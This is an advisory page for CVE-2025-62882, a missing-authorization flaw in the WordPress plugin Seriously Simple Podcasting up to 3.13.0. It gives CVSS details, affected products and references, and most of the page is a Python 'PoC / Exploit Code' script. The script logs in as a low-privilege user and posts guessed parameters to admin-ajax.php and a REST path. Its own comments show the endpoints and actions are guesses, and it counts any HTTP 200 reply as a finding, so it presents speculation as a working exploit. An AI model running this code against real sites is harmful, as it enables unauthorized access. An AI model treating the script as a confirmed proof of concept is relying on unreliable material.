CVE-2025-62882

Description

Missing Authorization vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Seriously Simple Podcasting: from n/a through <= 3.13.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:castos:seriously_simple_podcasting:*:*:*:*:*:wordpress:*:* - VULNERABLE

Seriously Simple Podcasting <= 3.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-62882 PoC - Seriously Simple Podcasting Broken Access Control
# Target: WordPress site with Seriously Simple Podcasting plugin <= 3.13.0

TARGET_URL = "http://target-wordpress-site.com"
# Attacker needs a low-privilege account (subscriber role recommended)
USERNAME = "attacker"
PASSWORD = "password"

def get_auth_cookie():
    """Obtain authentication cookie via WordPress login"""
    login_url = f"{TARGET_URL}/wp-login.php"
    data = {
        "log": USERNAME,
        "pwd": PASSWORD,
        "wp-submit": "Log In"
    }
    session = requests.Session()
    response = session.post(login_url, data=data)
    return session.cookies.get_dict()

def exploit_broken_access_control(cookies):
    """Exploit missing authorization in Seriously Simple Podcasting"""
    # Identify vulnerable endpoint - typically in admin-ajax.php or REST API
    vulnerable_endpoints = [
        f"{TARGET_URL}/wp-admin/admin-ajax.php",
        f"{TARGET_URL}/wp-json/ssp/v1/"
    ]
    
    # Common vulnerable actions in SSP plugin
    # Modify podcast settings without proper capability check
    exploit_data = {
        "action": "ssp_episodes",
        "episode_id": "1",
        "series_id": "1"
    }
    
    for endpoint in vulnerable_endpoints:
        try:
            response = requests.post(
                endpoint,
                data=exploit_data,
                cookies=cookies,
                timeout=10
            )
            if response.status_code == 200:
                print(f"[!] Possible vulnerability at: {endpoint}")
                print(f"Response: {response.text[:500]}")
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    print("[*] CVE-2025-62882 PoC - Seriously Simple Podcasting Broken Access Control")
    print("[*] Target: Seriously Simple Podcasting <= 3.13.0")
    cookies = get_auth_cookie()
    if cookies:
        print("[+] Authentication successful")
        exploit_broken_access_control(cookies)
    else:
        print("[-] Authentication failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62882
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62882
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62882/
[4] VulDB https://vuldb.com/cve/CVE-2025-62882
[5] https://patchstack.com/database/Wordpress/Plugin/seriously-simple-podcasting/vulnerability/wordpress-seriously-simple-podcasting-plugin-3-13-0-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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